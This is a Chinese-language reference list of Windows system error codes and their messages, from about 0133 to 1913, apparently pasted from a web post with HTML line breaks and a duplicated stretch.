这个服务所运行的进程和服务控制管理器相同。所以，如果服务进程意外中止的话，服务控制管理器无法进行任何操作。 <br />1082 这个服务没有设置恢复程序。 <br />1083 配置成在该可执行程序中运行的这个服务不能执行该服务。 <br />1100 已经到达磁带的物理尽头。 <br />1101 磁带访问到文件标记。 <br />1102 到达磁带或分区首部。 <br />1103 磁带访问到文件组的末尾。 <br />1104 磁带上没有其他数据。 <br />1105 磁带无法分区。 <br />1106 访问多重卷分区的新磁带时，当前的区块大小不正确。 <br />1107 加载磁带时，找不到磁带分区信息。 <br />1108 无法锁定媒体退出功能。 <br />1109 无法卸载媒体。 <br />1110 驱动器中的媒体已经更改。 <br />1111 已经复位 I/O 总线。 <br />1112 驱动器中没有媒体。 <br />1113 在目标多字节代码页中不存在对单码字符的映射。 <br />1114 动态链接库 (DLL) 初始化例程失败。 <br />1115 正在关闭系统。 <br />1116 无法终止系统关机，因为没有进行中的关机操作。 <br />1117 由于 I/O 设备出现错误，无法运行该请求。 <br />1118 串行设备初始化失败。将卸载串行驱动程序。 <br />1119 无法打开正与其他设备共享中断请求 (IRQ) 的设备。至少有一个使用该 IRQ 的设备已经打开。 <br />1120 由于再次写入串行口，串行 I/O 操作已结束。（IOCTL_SERIAL_XOFF_COUNTER 为零。） <br />1121 由于超时，串行 I/O 操作已结束。 (IOCTL_SERIAL_XOFF_COUNTER 未达到零。) <br />1122 在软盘上找不到标识符地址标记。 <br />1123 软盘扇区标识符字段与软盘控制器磁道地址不匹配。 <br />1124 软盘控制器报告软盘驱动程序不能识别的错误。 <br />1125 软盘控制器返回的结果和注册的不一致。 <br />1126 访问硬盘时，再校准操作失败，再试一次后也无法操作。 <br />1127 访问硬盘时，磁盘操作失败，再试一次后仍没有作用。 <br />1128 访问硬盘时，需要重启动磁盘控制器，但仍未成功。 <br />1129 磁带已卷到尽头。 <br />1130 可用的服务器存储区不足，无法执行该命令。 <br />1131 检测到潜在的死锁情况。 <br />1132 指定的基址或文件偏移量没有正确对齐。 <br />1140 试图更改系统电源状态的操作被另一应用程序或驱动程序禁止。 <br />1141 系统 BIOS 无法更改系统电源状态。 <br />1142 试图在一文件上创建超过系统允许数额的链接。 <br />1150 指定的程序需要新的 Windows 版本。 <br />1151 指定的程序不是 Windows 或 MS-DOS 程序。 <br />1152 无法启动指定程序的多个实例。 <br />1153 指定的程序是为 Windows 的早期版本编写的。 <br />1154 运行此应用程序所需的某个库文件已损。 <br />1155 没有应用程序与该操作中所指定的文件关联。 <br />1156 将命令发送到应用程序时出现错误。 <br />1157 找不到运行此应用程序所需的某个库文件。 <br />1158 当前进程已使用了 Window 管理器对象的系统允许的所有句柄。 <br />1159 消息只能与同步操作一起使用。 </p>
		<p>0133 对于包含已连接驱动器的驱动器，不能使用 JOIN 或 SUBST 命令。 <br />0134 试图在已经连接的驱动器上使用 JOIN 或 SUBST 命令。 <br />0135 试图在已经替换的驱动器上使用 JOIN 或 SUBST 命令。 <br />0136 系统试图删除尚未连接的驱动器的 JOIN。 <br />0137 系统试图删除尚未替换的驱动器的替换项。 <br />0138 系统试图将驱动器连接到已连接的驱动器下的目录。 <br />0139 系统试图将驱动器替换成已替换的驱动器下的目录。 <br />0140 系统试图将驱动器连接到已替换的驱动器的一个目录中。 <br />0141 系统试图将驱动器替换成到已连接的驱动器下的目录。 <br />0142 此时系统无法运行 JOIN 或 SUBST。 <br />0143 系统无法将驱动器连接到或替换成同一驱动器下的目录。 <br />0144 此目录不是该根目录的子目录。 <br />0145 该目录未清空。 <br />0146 指定的路径已经在替换中使用。 <br />0147 资源不足，无法执行该命令。 <br />0148 此时无法使用指定的路径。 <br />0149 试图连接或替换某个驱动器目录，该驱动器上的某个目录是上一次替换的目标目录。 <br />0150 CONFIG.SYS 文件未指定系统跟踪信息，或禁止跟踪。 <br />0151 DosMuxSemWait 的指定信号事件的数目不正确。 <br />0152 DosMuxSemWait 没有运行；已经设置太多的标志。 <br />0153 DosMuxSemWait 列表不正确。 <br />0154 输入的卷标超过目标文件系统的标号字符长度极限。 <br />0155 无法创建其他线程。 <br />0156 接收进程拒绝该信号。 <br />0157 已经放弃该区域，因此无法锁定。 <br />0158 该区域已经解除锁定。 <br />0159 线程标识符的地址错误。 <br />0160 传到 DosExecPgm 的参数字符串错误。 <br />0161 指定的路径无效。 <br />0162 信号已挂起。 <br />0164 系统无法创建其他线程。 <br />0167 无法锁定文件的范围。 <br />0170 所要求的资源正在使用中。 <br />0173 锁定请求对于提供的取消区域不重要。 <br />0174 文件系统不支持到锁定类型的自动更改。 <br />0180 系统检测到错误的区域号码。 <br />0182 操作系统无法运行 %1。 <br />0183 不能创建已经存在的文件。 <br />0186 传送的标志不正确。 <br />0187 找不到指定的系统信号名称。 <br />0188 操作系统无法运行 %1。 <br />0189 操作系统无法运行 %1。 <br />0190 操作系统无法运行 %1。 <br />0191 无法在 Win32 模式下运行 %1。 <br />0192 操作系统无法运行 %1。 <br />0193 %1 不是有效的 Win32 应用程序。 <br />0194 操作系统无法运行 %1。 <br />0195 操作系统无法运行 %1。 <br />0196 操作系统无法运行此应用程序。 <br />0197 当前无法配置操作系统运行此应用程序。 <br />0198 操作系统无法运行 %1。 <br />0199 操作系统无法运行此应用程序。 <br />0200 代码段应小于 64K。 <br />0201 操作系统无法运行 %1。 <br />0202 操作系统无法运行 %1。 <br />0203 系统找不到输入的环境选项。 <br />0205 在命令子树中的进程没有信号句柄。 <br />0206 文件名或扩展名太长。 <br />0207 环 2 堆栈正在使用中。 <br />0208 输入的全局文件名字符 * 或 ? 不正确，或指定的全局文件名字符太多。 <br />0209 所发送的信号不正确。 <br />0210 无法设置信号处理程序。 <br />0212 区域已锁定，无法重新分配。 <br />0214 附加到此程序或动态链接模块的动态链接模块太多。 <br />0215 无法嵌套调用 LoadModule。 <br />0216 图像文件 %1 有效，但不适用于本机类型。 <br />0230 管道状态无效。 <br />0231 所有的管道实例都处于忙状态。 <br />0232 管道正在关闭。 <br />0233 在管道的另一端没有进程。 <br />0234 有更多可用的数据。 <br />0240 已取消会话。 <br />0254 指定的扩展属性名无效。 <br />0255 扩展属性不一致。 <br />0258 等待操作过时。 <br />0259 没有其他可用数据。 <br />0266 无法使用复制功能。 <br />0267 目录名无效。 <br />0275 扩展属性不匹配缓冲区。 <br />0276 所装载的文件系统上的扩展属性文件已被损坏。 <br />0277 扩展属性表格文件已满。 <br />0278 指定的扩展属性句柄无效。 <br />0282 安装的文件系统不支持扩展属性。 <br />0288 试图释放不属于调用者的多路同步信号。 <br />0298 信号投递的次数太多。 <br />0299 仅完成部分 ReadProcessMemory 或 WriteProcessMemory 请求。 <br />0300 操作锁定请求被拒绝。 <br />0301 系统接收了一个无效的操作锁定确认。 <br />0317 在 %2 的消息文件中，系统无法找到消息号为 0x%1 的消息文本。 <br />0487 试图访问无效地址。 <br />1078 该名称已经用作服务名或服务显示名。 <br />1079 此服务的帐户不同于运行于同一进程上的其它服务的帐户。 <br />1080 只能为 Win32 服务设置失败操作，不能为驱动程序设置。 <br />1081 这个服务所运行的进程和服务控制管理器相同。所以，如果服务进程意外中止的话，服务控制管理器无法进行任何操作。 <br />1082 这个服务没有设置恢复程序。 <br />1083 配置成在该可执行程序中运行的这个服务不能执行该服务。 <br />1100 已经到达磁带的物理尽头。 <br />1101 磁带访问到文件标记。 <br />1102 到达磁带或分区首部。 <br />1103 磁带访问到文件组的末尾。 <br />1104 磁带上没有其他数据。 <br />1105 磁带无法分区。 <br />1106 访问多重卷分区的新磁带时，当前的区块大小不正确。 <br />1107 加载磁带时，找不到磁带分区信息。 <br />1108 无法锁定媒体退出功能。 <br />1109 无法卸载媒体。 <br />1110 驱动器中的媒体已经更改。 <br />1111 已经复位 I/O 总线。 <br />1112 驱动器中没有媒体。 <br />1113 在目标多字节代码页中不存在对单码字符的映射。 <br />1114 动态链接库 (DLL) 初始化例程失败。 <br />1115 正在关闭系统。 <br />1116 无法终止系统关机，因为没有进行中的关机操作。 <br />1117 由于 I/O 设备出现错误，无法运行该请求。 <br />1118 串行设备初始化失败。将卸载串行驱动程序。 <br />1119 无法打开正与其他设备共享中断请求 (IRQ) 的设备。至少有一个使用该 IRQ 的设备已经打开。 <br />1120 由于再次写入串行口，串行 I/O 操作已结束。（IOCTL_SERIAL_XOFF_COUNTER 为零。） <br />1121 由于超时，串行 I/O 操作已结束。 (IOCTL_SERIAL_XOFF_COUNTER 未达到零。) <br />1122 在软盘上找不到标识符地址标记。 <br />1123 软盘扇区标识符字段与软盘控制器磁道地址不匹配。 <br />1124 软盘控制器报告软盘驱动程序不能识别的错误。 <br />1125 软盘控制器返回的结果和注册的不一致。 <br />1126 访问硬盘时，再校准操作失败，再试一次后也无法操作。 <br />1127 访问硬盘时，磁盘操作失败，再试一次后仍没有作用。 <br />1128 访问硬盘时，需要重启动磁盘控制器，但仍未成功。 <br />1129 磁带已卷到尽头。 <br />1130 可用的服务器存储区不足，无法执行该命令。 <br />1131 检测到潜在的死锁情况。 <br />1132 指定的基址或文件偏移量没有正确对齐。 <br />1140 试图更改系统电源状态的操作被另一应用程序或驱动程序禁止。 <br />1141 系统 BIOS 无法更改系统电源状态。 <br />1142 试图在一文件上创建超过系统允许数额的链接。 <br />1150 指定的程序需要新的 Windows 版本。 <br />1151 指定的程序不是 Windows 或 MS-DOS 程序。 <br />1152 无法启动指定程序的多个实例。 <br />1153 指定的程序是为 Windows 的早期版本编写的。 <br />1154 运行此应用程序所需的某个库文件已损。 <br />1155 没有应用程序与该操作中所指定的文件关联。 <br />1156 将命令发送到应用程序时出现错误。 <br />1157 找不到运行此应用程序所需的某个库文件。 <br />1158 当前进程已使用了 Window 管理器对象的系统允许的所有句柄。 <br />1159 消息只能与同步操作一起使用。 <br />1160 指出的源元素没有媒体。 <br />1161 指出的目标元素已包含媒体。 <br />1162 指出的元素不存在。 <br />1163 指出的元素是未显示的存储资源的一部分。 <br />1164 指出的设备需要重新初始化，因为硬件有错误。 <br />1165 设备显示在尝试进一步操作之前需要清除。 <br />1166 设备显示它的门仍是打开状态。 <br />1167 设备没有连接。 <br />1168 找不到元素。 <br />1169 索引中没有同指定项相匹配的项。 <br />1170 在对象上不存在指定的属性集。 <br />1171 传递到 GetMouseMovePoints 的点不在缓冲区中。 <br />1172 跟踪(工作站)服务没运行。 <br />1173 找不到卷 ID。 <br />1175 无法删除要被替换的文件。 <br />1176 无法将替换文件移到要被替换的文件。要被替换的文件保持原来的名称。 <br />1177 无法将替换文件移到要被替换的文件。要被替换的文件已被重新命名为备份名称。 <br />1178 卷更改记录被删除。 <br />1179 卷更改记录服务不处于活动中。 <br />1180 找到一份文件，但是可能不是正确的文件。 <br />1181 日志项已从日志中删除。 <br />1200 指定的设备名无效。 <br />1201 设备当前虽然未连接，但它是记忆连接。 <br />1202 试图记起已经记住的设备。 <br />1203 网络供应商不接受给定的网络路径。 <br />1204 指定的网络供应商名无效。 <br />1205 无法打开网络连接配置文件。 <br />1206 网络连接配置文件已损坏。 <br />1207 无法列举非包容类。 <br />1208 出现扩展错误。 <br />1209 指定组名的格式无效。 <br />1210 指定计算机名的格式无效。 <br />1211 指定事件名的格式无效。 <br />1212 指定域名的格式无效。 <br />1213 指定服务名的格式无效。 <br />1214 指定网络名的格式无效。 <br />1215 指定共享名的格式无效。 <br />1216 指定密码的格式无效。 <br />1217 指定的邮件名无效。 <br />1218 指定邮件目的地的格式无效。 <br />1219 所提供的凭据与现有凭据设置冲突。 <br />1220 试图与网络服务器建立会话，但目前与该服务器建立的会话太多。 <br />1221 网络上的其他计算机已经使用该工作组或域名。 <br />1222 网络不存在或者没有启动。 <br />1223 用户已经取消该操作。 <br />1224 所要求的操作无法在已经打开用户映射区域的文件中运行。 <br />1225 远程系统拒绝网络连接。 <br />1226 已经关闭网络连接。 <br />1227 网络传输的终点已经有一个地址与其关联。 <br />1228 网络终点尚未与地址关联。 <br />1229 试图在不存在的网络连接中操作。 <br />1230 试图在活动的网络连接上进行无效操作。 <br />1231 不能访问网络位置。有关网络疑难解答的信息，请参阅 Windows 帮助。 <br />1232 不能访问网络位置。有关网络疑难解答的信息，请参阅 Windows 帮助。 <br />1233 不能访问网络位置。有关网络疑难解答的信息，请参阅 Windows 帮助。 <br />1234 远程系统的目标网络端点没有运行任何服务。 <br />1235 该请求已经终止。 <br />1236 本地系统已经终止网络连接。 <br />1237 无法完成操作。请再试一次。 <br />1238 无法创建到该服务器的连接，因为已经到达了该帐户同时连接的最大数目。 <br />1239 试图在该帐户未授权的时间内登录。 <br />1240 尚未授权此帐户从该站登录网络。 <br />1241 网络地址无法用于要求的操作。 <br />1242 服务已经注册。 <br />1243 指定的服务不存在。 <br />1244 由于尚未验证用户身份，无法执行要求的操作。 <br />1245 由于用户尚未登录网络，无法运行要求的操作。指定的服务不存在。 <br />1246 继续工作。 <br />1247 完成初始化操作后，试图再次运行初始化操作。 <br />1248 没有其他本地设备。 <br />1249 指定的站点不存在。 <br />1250 具有指定名称的域控制器已经存在。 <br />1251 只有连接到服务器上时，才支持该操作。 <br />1252 即使没有改动，组策略框架也应该调用扩展。 <br />1253 指定的用户没有一个有效的配置文件。 <br />1254 Microsoft Small Business Server 不支持此操作。 <br />1300 不是对所有的调用方分配引用特权。 <br />1301 帐户名与安全标识符之间的映射未完成。 <br />1302 没有为该帐户明确地设置系统配额限制。 <br />1303 没有可用的密钥。返回已知的密钥。 <br />1304 密码太复杂，无法转换成 LAN Manager 密码。返回的 LAN Manager 密码是空字符串。 <br />1305 修订级别未知。 <br />1306 表示两个修订级别不兼容。 <br />1307 无法将此安全标识符指定为该对象的拥有者。 <br />1308 无法将此安全标识符指定为主要的对象组。 <br />1309 当前并未模拟客户的线程试图操作模拟令牌。 <br />1310 不可以禁用该组。 <br />1311 目前没有可用的登录服务器处理登录请求。 <br />1312 指定的登录会话不存在。该会话可能已终止。 <br />1313 指定的权限不存在。 <br />1314 客户不保留请求的权限。 <br />1315 提供的名称不是正确的帐户名称格式。 <br />1316 指定的用户已经存在。 <br />1317 指定的用户不存在。 <br />1318 指定的组已经存在。 <br />1319 指定的组不存在。 <br />1320 或者指定的用户帐户已经是某个特定组的成员，或者也可能指定的组非空而不能被删除。 <br />1321 指定的用户帐户不是所指定组帐户的成员。 <br />1322 上次保留的管理帐户无法关闭或删除。 <br />1323 无法更新密码。所输入的密码不正确。 <br />1324 无法更新密码。所提供的新密码包含不可用于密码的值。 <br />1325 无法更新密码。为新密码提供的值不符合字符域的长度、复杂性或历史要求。 <br />1326 登录失败: 用户名未知或密码错误。 <br />1327 登录失败: 用户帐户限制。 <br />1328 登录失败: 违反帐户登录时间限制。 <br />1329 登录失败: 禁止用户登录到该计算机上。 <br />1330 登录失败: 指定的帐户密码已过期。 <br />1331 登录失败: 当前禁用帐户。 <br />1332 未完成帐户名与安全性标识符之间的映射。 <br />1333 一次请求的本地用户标识符(LUID)太多。 <br />1334 没有其他可用的本地用户标识符(LUID)。 <br />1335 对这个特定使用来说，安全标识符的子部分是无效的。 <br />1336 访问控制清单(ACL)结构无效。 <br />1337 安全标识符结构无效。 <br />1338 安全描述符结构无效。 <br />1340 无法创建继承的访问控制列表(ACL)或访问控制项目(ACE)。 <br />1341 当前已禁用服务器。 <br />1342 当前已启用服务器。 <br />1343 所提供的值是无效的标识符授权值。 <br />--------------------------------------------------------------------------------<br /> <br />--   <br />--    19:57:25</p>
		<p>--  <br />1344 没有更多的内存用于更新安全信息。 <br />1345 指定的属性无效，或指定的属性与整个组的属性不兼容。 <br />1346 或者没有提供所申请的模仿级别，或者提供的模仿级别无效。 <br />1347 无法打开匿名级安全性符号。 <br />1348 所请求的验证信息类别无效。 <br />1349 该类符号不能以所尝试的方式使用。 <br />1350 无法在没有相关安全性的对象上运行安全操作。 <br />1351 未能从域控制器读取配置信息，或者是因为机器不可使用，或者是访问被拒绝。 <br />1352 安全帐户管理程序(SAM)或本地安全颁发机构(LSA)服务器状态不正确，所以无法运行安全操作。 <br />1353 域处于执行安全操作的错误状态。 <br />1354 该操作只能在域的主域控制器中执行。 <br />1355 指定的域不存在或联系不上。 <br />1356 指定的域已经存在。 <br />1357 试图超过每个服务器域数目的极限。 <br />1358 由于严重的媒体错误或磁盘的数据结构损坏，无法完成所请求的操作。 <br />1359 发生内部错误。 <br />1360 通用的访问类型包含在访问掩码中，该掩码已经映射为非通用类型。 <br />1361 安全性描述符的格式错误（绝对或自相关）。 <br />1362 请求的操作只准登录进程使用。该调用过程并未被记录为登录进程。 <br />1363 无法用已经使用的标识符来启动新的登录会话。 <br />1364 指定的确认数据包未知。 <br />1365 登录会话的状态与请求的操作不一致。 <br />1366 登录会话标识符正在使用中。 <br />1367 登录请求包含无效的登录类型值。 <br />1368 在使用命名管道读取数据之前，无法经由该管道模拟。 <br />1369 注册表子树的事务状态与所请求的操作不兼容。 <br />1370 突发的内部安全性数据库故障。 <br />1371 无法在内部帐户下运行该操作。 <br />1372 无法在该内部特定组中运行该操作。 <br />1373 无法在该内部特定用户中运行该操作。 <br />1374 因为该组当前是用户的主要组，所以不能从此组中删除用户。 <br />1375 该符号已作为主要符号使用。 <br />1376 指定的本地组不存在。 <br />1377 指定的帐户名不是本地组的成员。 <br />1378 指定的帐户名已经是本地组的成员。 <br />1379 指定的本地组已经存在。 <br />1380 登录失败: 用户在本计算机上没有被授与所需注册类型。 <br />1381 超过了可以存储在单个系统中的最大机密限制。 <br />1382 机密的长度超过了最大允许值。 <br />1383 本地安全授权数据库包含内部不一致的错误。 <br />1384 登录时，用户的安全性上下文累积太多的安全标识符。 <br />1385 登录失败: 用户在本计算机上没有被授与所需注册类型。 <br />1386 经交叉加密的密码必须更改用户密码。 <br />1387 成员不存在，因此无法将其添加到本地组或从中删除。 <br />1388 新成员的帐户类型有误，因此无法将其添加到本地组。 <br />1389 指定的安全标识符太多。 <br />1390 经交叉加密的密码必须更改该用户密码。 <br />1391 表示 ACL 没有可继承的组件。 <br />1392 文件或目录已损坏，无法读取数据。 <br />1393 磁盘结构已损坏，无法读取数据。 <br />1394 指定的登录会话没有用户会话密钥。 <br />1395 正在访问的服务允许特定数目的连接。因为连接的数目已达到服务可接受的数目，所以此时无法创建新的服务连接。 <br />1396 登录失败: 该目标帐户名称不正确。 <br />1397 相互身份验证失败。该服务器在域控制器的密码过期。 <br />1398 在客户机和服务器之间有一个时间差。 <br />1400 窗口句柄无效。 <br />1401 菜单句柄无效。 <br />1402 光标句柄无效。 <br />1403 加速键表的句柄无效。 <br />1404 挂接句柄无效。 <br />1405 多重窗口位置结构句柄无效。 <br />1406 无法创建最上层的子窗口。 <br />1407 找不到窗口类。 <br />1408 窗口无效；属于其他线程。 <br />1409 已经注册热键。 <br />1410 类已经存在。 <br />1411 类不存在。 <br />1412 类窗口仍打开着。 <br />1413 索引无效。 <br />1414 图标句柄无效。 <br />1415 使用私人对话框窗口字。 <br />1416 找不到列表框标识符。 <br />1417 找不到任何通配符。 <br />1418 线程没有打开剪贴板。 <br />1419 尚未注册热键。 <br />1420 该窗口不是有效的对话框窗口。 <br />1421 找不到控制标识符。 <br />1422 由于没有编辑控制，因此该组合框的消息无效。 <br />1423 窗口不是组合框。 <br />1424 高度必须小于 256。 <br />1425 设备上下文(DC)句柄无效。 <br />1426 挂接过程类型无效。 <br />1427 挂接过程无效。 <br />1428 不能在无模块句柄的情况下设置非本地的挂接。 <br />1429 只能全局设置该挂接过程。 <br />1430 已安装日记挂接过程。 <br />1431 未安装挂接过程。 <br />1432 单选列表框的消息无效。 <br />1433 LB_SETCOUNT 发送到活动的列表框。 <br />1434 该列表框不支持制表符。 <br />1435 无法破坏由其他线程所创建的对象。 <br />1436 子窗口不能有菜单。 <br />1437 窗口没有系统菜单。 <br />1438 消息框样式无效。 <br />1439 系统范围内的(SPI_*)的参数无效。 <br />1440 屏幕已经锁定。 <br />1441 多重窗口位置结构中所有窗口句柄必须具有相同的父窗口。 <br />1442 窗口不是子窗口。 <br />1443 GW_* 命令无效。 <br />1444 线程标识符无效。 <br />1445 无法处理非多文档接口(MDI)窗口的消息。 <br />1446 弹出式菜单已激活。 <br />1447 窗口没有滚动条。 <br />1448 滚动条范围不能大于 MAXLONG。 <br />1449 无法以指定的方式显示或关闭窗口。 <br />1450 系统资源不足，无法完成所请求的服务。 <br />1451 系统资源不足，无法完成所请求的服务。 <br />1452 系统资源不足，无法完成所请求的服务。 <br />1453 配额不足，无法完成请求的服务。 <br />1454 配额不足，无法完成请求的服务。 <br />1455 页面交换文件太小，无法完成此项操作。 <br />1456 找不到菜单项。 <br />1457 键盘布局句柄无效。 <br />1458 不允许使用挂钩类型。 <br />1459 该操作需要交互式窗口工作站。 <br />1460 由于超时时间已过，该操作返回。 <br />1461 无效监视器句柄。 <br />1500 事件日志文件已损坏。 <br />1501 无法打开事件日志文件，因此无法启动事件记录服务。 <br />1502 事件日志文件已满。 <br />1503 事件日志文件在两次读取操作间已发生变化。 <br />1601 无法访问 Windows 安装服务。请与技术支持人员联系，确认 Windows 安装服务是否注册正确。 <br />1602 用户取消了安装。 <br />1603 安装时发生严重错误。 <br />1604 安装已挂起，未完成。 <br />1605 这个操作只对当前安装的产品有效。 <br />1606 功能 ID 未注册。 <br />1607 组件 ID 未注册。 <br />1608 未知属性。 <br />1609 句柄处于不正确的状态。 <br />1610 这个产品的配置数据已损坏。请与技术支持人员联系。 <br />1611 组件限制语不存在。 <br />1612 这个产品的安装来源无法使用。请验证来源是否存在，是否可以访问。 <br />1613 Windows 安装服务无法安装这个安装程序包。您必须安装含有 Windows 安装服务新版本的 Windows Service Park。 <br />1614 产品已卸载。 <br />1615 SQL 查询语法不正确或不被支持。 <br />1616 记录字符域不存在。 <br />1617 设备已被删除。 <br />1618 正在进行另一个安装操作。请在继续这个安装操作之前完成那个操作。 <br />1619 未能打开这个安装程序包。请验证程序包是否存在，是否可以访问；或者与应用程序供应商联系，验证这是否是有效的 Windows 安装程序包。 <br />1620 未能打开这个安装程序包。请与应用程序供应商联系，验证这是否是有效的 Windows 安装程序包。 <br />1621 启动 Windows 安装服务用户界面时有错误。请与技术支持人员联系。 <br />1622 打开安装日志文件时出错。请验证指定的日志文件位置是否存在，是否可以写入。 <br />1623 安装程序包的语言不受系统支持。 <br />1624 应用变换时出错。请验证指定的变换路径是否有效。 <br />1625 系统策略禁止这个安装。请与系统管理员联系。 <br />1626 无法执行函数。 <br />1627 执行期间，函数出了问题。 <br />1628 指定了无效的或未知的表格。 <br />1629 提供的数据类型不对。 <br />1630 这个类型的数据不受支持。 <br />1631 Windows 安装服务未能启动。请与技术支持人员联系。 <br />1632 临时文件夹已满或无法使用。请验证临时文件夹是否存在，是否可以写入。 <br />1633 这个处理器类型不支持该安装程序包。请与产品供应商联系。 <br />1634 组件没有在这台计算机上使用。 <br />1635 无法打开修补程序包。请验证修补程序包是否存在，是否可以访问；或者与应用程序供应商联系，验证这是否是有效的 Windows 安装修补程序包。 <br />1636 无法打开修补程序包。请与应用程序供应商联系，验证这是否是有效的 Windows 安装修补程序包。 <br />1637 Windows 安装服务无法处理这个修补程序包。您必须安装含有 Windows 安装服务新版本的 Windows Service Pack。 <br />1638 已安装这个产品的另一个版本。这个版本的安装无法继续。要配置或删除这个产品的现有版本，请用“控制面板”上的“添加/删除程序”。 <br />1639 无效的命令行参数。有关详细的命令行帮助，请查阅 Windows 安装服务的 SDK。 <br />1640 在终端服务远程会话期间，只有管理员有添加、删除或配置服务器软件的权限。如果您要在服务器上安装或配置软件，请与网络管理员联系。 <br />1641 要求的操作已成功结束。要使改动生效，必须重新启动系统。 <br />1642 Windows 安装服务无法安装升级修补程序，因为被升级的程序丢失，或者升级修补程序将更新此程序的其他版本。请确认要被升级的程序在您的计算机上且您的升级修补程序是正确的。<br />1700 串绑定无效。 <br />1701 绑定句柄的类型错误。 <br />1702 绑定句柄无效。 <br />1703 不支持 RPC 协议顺序。 <br />1704 RPC 协议序列无效。 <br />1705 字符串的全球唯一标识符(UUID)无效。 <br />1706 终点的格式无效。 <br />1707 网络地址无效。 <br />1708 未找到终点。 <br />1709 超时设置值无效。 <br />1710 找不到该对象的全球唯一标识符(UUID)。 <br />1711 该对象的全球唯一标识符(UUID)已经注册。 <br />1712 这一类型的全球唯一标识符(UUID)已经注册。 <br />1713 RPC 服务器正在监听。 <br />1714 尚未注册协议顺序。 <br />1715 RPC 服务器不处于监听状态。 <br />1716 管理程序的类型未知。 <br />1717 接口未知。 <br />1718 没有绑定。 <br />1719 没有协议序列。 <br />1720 无法创建终点。 <br />1721 资源不足，无法完成该操作。 <br />1722 RPC 服务器无法使用。 <br />1723 RPC 服务器太忙，无法完成此项操作。 <br />1724 网络选项无效。 <br />1725 该线程中不存在活动的远程过程调用。 <br />1726 远程过程调用失败。 <br />1727 远程过程调用失败并且无法执行。 <br />1728 远程过程调用(RPC)协议出现错误。 <br />1730 RPC 服务器不支持传输语法。 <br />1732 不支持这种类型的全球唯一标识符。 <br />1733 标识无效。 <br />1734 数组边界无效。 <br />1735 绑定类型中不包含项目名。 <br />1736 名称语法无效。 <br />1737 不支持这种命名语法。 <br />1739 没有可用的网络地址，无法创建全球唯一标识符(UUID)。 <br />1740 终结点重复。 <br />1741 身份验证类型未知。 <br />1742 调用次数的上限太小。 <br />1743 字符串太长。 <br />1744 找不到 RPC 协议序列。 <br />1745 过程号超出范围。 <br />1746 此次绑定不包含任何身份验证信息。 <br />1747 身份验证服务未知。 <br />1748 身份验证级别未知。 <br />1749 安全描述符无效。 <br />1750 身份验证服务未知。 <br />1751 项目无效。 <br />1752 服务器的终结点无法执行此项操作。 <br />1753 终点的映射器没有更多的终点可用。 <br />1754 没有导出任何接口。 <br />1755 项目名不完整。 <br />1756 版本选项无效。 <br />1757 没有其他成员。 <br />1758 可以导出全部内容。 <br />1759 未找到接口。 <br />1760 项目已经存在。 <br />1761 项目找不到。 <br />1762 名称服务不可用。 <br />1763 网络地址集无效。 <br />1764 不支持请求的操作。 <br />1765 没有可供冒仿的安全性描述符。 <br />1766 远程过程调用(RPC)出现内部错误。 <br />1767 RPC 服务器企图进行整除零运算。 <br />1768 RPC 服务器出现寻址错误。 <br />1769 RPC 服务器中的浮点运算造成被零除。 <br />1770 RPC 服务器产生了浮点下溢错误。 <br />1771 RPC 服务器产生了浮点上溢错误。 <br />1772 可用于自动句柄绑定的 RPC 服务器列表已经用完。 <br />1773 无法打开字符转换表文件。 <br />1774 包含字符转换表的文件小于 512 个字节。 <br />1775 在远程过程调用中，客户机向主机传送了一个空的描述体句柄。 <br />1777 远程过程调用中的描述体句柄发生变化。 <br />1778 发送到远程过程调用的绑定句柄不匹配。 <br />1779 占位程序无法获得远程过程调用的句柄。 <br />1780 将空的参考指针发送给占位程序。 <br />1781 列举值超出范围。 <br />1782 字节数目太小。 <br />1783 占位程序接收到错误数据。 <br />1784 所提供的用户缓冲区对所申请的操作无效。 <br />1785 无法识别磁盘媒体。它可能还未格式化。 <br />1786 工作站没有信任密码。 <br />1787 服务器上的安全数据库中没有该工作站信任关系的计算机帐户。 <br />1788 建立主域和受托域间的信任关系失败。 <br />1789 建立工作站和主域间的信任关系失败。 <br />1790 网络登录失败。 <br />1791 该线程执行过程中已经进行了远程过程调用。 <br />1792 试图登录网络，但网络登录服务尚未启动。 <br />1793 用户帐户已到期。 <br />1794 重定向程序正在使用，无法卸载。 <br />1795 已经安装所指定的打印机驱动程序。 <br />1796 指定的端口未知。 <br />1797 打印机驱动程序未知。 <br />1798 打印处理程序未知。 <br />1799 指定的分隔符文件无效。 <br />--------------------------------------------------------------------------------<br /> <br />--   <br />  19:57:55</p>
		<p>--  <br />1800 指定的优先级无效。 <br />1801 打印机名无效。 <br />1802 打印机已经存在。 <br />1803 打印机命令无效。 <br />1804 指定的数据类型无效。 <br />1805 指定的环境无效。 <br />1806 没有其他绑定。 <br />1807 使用的帐户是跨网络的信任帐户。请使用全局用户帐户或本地用户帐户来访问此服务器。 <br />1808 所使用的帐户是计算机帐户。请使用全局用户帐户或本地用户帐户来访问该服务器。 <br />1809 使用的帐户是服务器信任帐户。请使用全局用户帐户或本地用户帐户来访问该服务器。 <br />1810 指定的域名或安全标识符与域的信任信息不一致。 <br />1811 服务器正在使用中，无法卸载。 <br />1812 指定的映像文件不包含资源部分。 <br />1813 在映像文件中找不到指定的资源类型。 <br />1814 在映像文件中找不到指定的资源名称。 <br />1815 在映像文件中找不到指定的资源语言 ID 。 <br />1816 可用的配额不足，无法执行该命令。 <br />1817 没有已注册的接口。 <br />1818 远程过程调用被取消。 <br />1819 绑定句柄不包含所有需要的信息。 <br />1820 远程调用过程中发生通讯失败。 <br />1821 所需的身份验证级别不被支持。 <br />1822 主要的名称没有注册。 <br />1823 指定的错误不是有效的 Windows RPC 错误代码。 <br />1824 已分配仅在本机上有效的 UUID。 <br />1825 产生了特定的安全包错误。 <br />1826 没有取消线程。 <br />1827 在编码/解码处理时的操作无效。 <br />1828 序列化软件包的版本不兼容。 <br />1829 RPC 占位程序的版本不兼容。 <br />1830 RPC 管道对象无效或已损坏。 <br />1831 试图在 RPC 管道对象上进行无效操作。 <br />1832 不被支持的 RPC 管道版本。 <br />1898 找不到组成员。 <br />1899 无法创建终结点映射数据库条目。 <br />1900 对象的全球标识符(UUID)为空。 <br />1901 指定的时间无效。 <br />1902 指定的表单名无效。 <br />1903 指定的表单大小无效。 <br />1904 指定的打印机句柄正在等候处理 <br />1905 指定的打印机已经删除。 <br />1906 打印机的状态无效。 <br />1907 用户首次登录前，必须先更改其密码。 <br />1908 找不到该域的域控制器。 <br />1909 引用的帐户目前被锁定，可能无法登录。 <br />1910 没有发现指定的此对象导出者。 <br />1911 没有发现指定的对象。 <br />1912 没有发现指定的对象解析器。 <br />1913 